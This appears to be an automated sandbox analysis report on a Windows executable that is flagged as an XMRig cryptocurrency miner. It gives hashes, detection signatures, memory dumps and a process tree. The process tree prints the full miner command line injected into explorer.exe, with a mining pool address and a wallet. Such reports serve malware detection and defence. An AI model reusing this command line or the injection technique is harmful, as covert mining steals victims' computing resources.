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Analysis

  • max time kernel
    120s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    18/12/2024, 16:04

General

  • Target

    fc36eb422caab891725900f1f05ac6b1_JaffaCakes118.exe

  • Size

    2.0MB

  • MD5

    fc36eb422caab891725900f1f05ac6b1

  • SHA1

    29d8252258ec28284c10af8c410d588412e9aea8

  • SHA256

    5fd51a1feb6d8c9765bd36a10675c70bacf60d24b64e418356b0b4850fb0871c

  • SHA512

    d04fe5859033ad75ee9e1d7d31b971123de69d0a9a49ffeeb44069386157adfc1e36f65202a82b0b92f6fb1e4049b210b327e8aba3344bc3df1bf451f527bc30

  • SSDEEP

    49152:/eQHKHaEj6d0TLaDPTHxbEhMU23VrOGzk9e:/Pq6EjnWDPTRbE6U2FOJ9

Score
10/10

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 19 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fc36eb422caab891725900f1f05ac6b1_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\fc36eb422caab891725900f1f05ac6b1_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=4ApRBrR7YA1F4DpMoydfM48jvg5K8cC9o9GKRM2KN4BZi1bcqwwzndSQkipV7hwSXWUY7Cev2sTndMKUUCosyLP2LWDbPEU.{COMPUTERNAME} --pass= --cpu-max-threads-hint=30 --tls
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2104

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2104-22-0x00000000000E0000-0x0000000000100000-memory.dmp

    Filesize

    128KB

  • memory/2104-19-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-33-0x0000000000180000-0x00000000001A0000-memory.dmp

    Filesize

    128KB

  • memory/2104-32-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-5-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-6-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-23-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-17-0x000007FFFFFDE000-0x000007FFFFFDF000-memory.dmp

    Filesize

    4KB

  • memory/2104-7-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-31-0x0000000000180000-0x00000000001A0000-memory.dmp

    Filesize

    128KB

  • memory/2104-9-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-11-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-15-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-13-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-30-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-26-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-12-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-14-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-21-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-10-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-8-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-16-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-25-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-27-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-29-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2104-28-0x0000000140000000-0x0000000140758000-memory.dmp

    Filesize

    7.3MB

  • memory/2200-0-0x000007FEF5DD3000-0x000007FEF5DD4000-memory.dmp

    Filesize

    4KB

  • memory/2200-1-0x000000013F870000-0x000000013FA70000-memory.dmp

    Filesize

    2.0MB

  • memory/2200-24-0x000007FEF5DD0000-0x000007FEF67BC000-memory.dmp

    Filesize

    9.9MB

  • memory/2200-3-0x000007FEF5DD0000-0x000007FEF67BC000-memory.dmp

    Filesize

    9.9MB

  • memory/2200-2-0x000000001BC70000-0x000000001BE6E000-memory.dmp

    Filesize

    2.0MB